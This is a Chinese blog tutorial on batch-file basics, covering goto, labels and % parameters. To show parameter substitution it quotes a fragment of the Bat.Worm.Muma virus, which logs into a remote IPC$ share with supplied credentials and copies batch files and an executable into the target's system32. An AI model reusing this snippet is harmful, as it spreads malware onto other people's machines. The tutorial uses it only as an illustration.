学会批处理

2019-09-19 07:12:48丽君


5、:和goto

   为什么要把这两个命令联合起来介绍?因为它们是分不开的,无论少了哪个或多了哪个都会出错。goto是个跳转命令,:是一个标签。当程序运行到goto时,将自动跳转到:定义的部分去执行了(是不是分不开?)。例五中倒数第5行行首出现一个:,则程序在运行到goto时就自动跳转到:标签定义的部分执行,结果是显示脚本usage(usage就是标签名称)。不难看出,goto命令就是根据这个冒号和标签名称来寻找它该跳转的地方,它们是一一对应的关系。goto命令也经常和if命令结合使用。至于这两个命令具体用法,参照例五。

   goto命令的另一种用法一:提前结束程序。在程序中间使用goto命令跳转到某一标签,而这一标签的内容却定义为退出。如:

……
goto end
……
:end 

   这里:end在脚本最后一行!其实这个例子很弱智,后面讲了if命令和组合命令你就知道了。

6、%

   这个百分号严格来说是算不上命令的,它只是批处理中的参数而已(多个%一起使用的情况除外,以后还将详细介绍),但千万别以为它只是参数就小看了它(看看例五中有多少地方用到它?),少了它批处理的功能就减少了51%了。看看例七:

net use %1ipc$ %3 /u:"%2"
copy 11.BAT %1admin$system32 /y
copy 13.BAT %1admin$system32 /y
copy ipc2.BAT %1admin$system32 /y
copy NWZI.EXE %1admin$system32 /y
attrib %1admin$system3210.bat -r -h -s

   以上代码是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。执行形式为:脚本文件名 参数一 参数二 ……。假设这个脚本被保存为a.bat,则执行形式如下:a IP username password。这里IP、username、password是三个参数,缺一不可(因为程序不能正确运行,并不是因为少了参数语法就不对)这样在脚本执行过程中,脚本就自动用用你的三个参数依次(记住,是依次!也是一一对应的关系。)代换1%、2%和3%,这样就达到了灵活运用的目的(试想,如果在脚本中直接把IP、username和password都定义死,那么脚本的作用也就被固定了,但如果使用%的话,不同的参数可以达到不同的目的,是不是更灵活?)。

   关于这个参数的使用,在后续章节中还将介绍。一定要非常熟练才行,这需要很多练习过程,需要下点狠工夫!

   这一章就写到这里了。可能有朋友问了:怎么没介绍if命令?呵呵,不是我忘了,而是它不容易说清楚,下一章再讲了!这一章讲的这点东西,如果你是初学者,恐怕也够消化的了。记住一句话:DOS是批处理的BODY,任何一个DOS命令都可以被用在批处理脚本中去完成特定的功能。到这里,你是否已经想到了用自己肚子里的东西去写点带有自动化色彩的东东呢?很简单,就是一个DOS命令的集合而已,相信自称为天才的你已经会把计算机等级考试上机试题中的DOS部分用批处理来自动化完成了。
相关文章 大家在看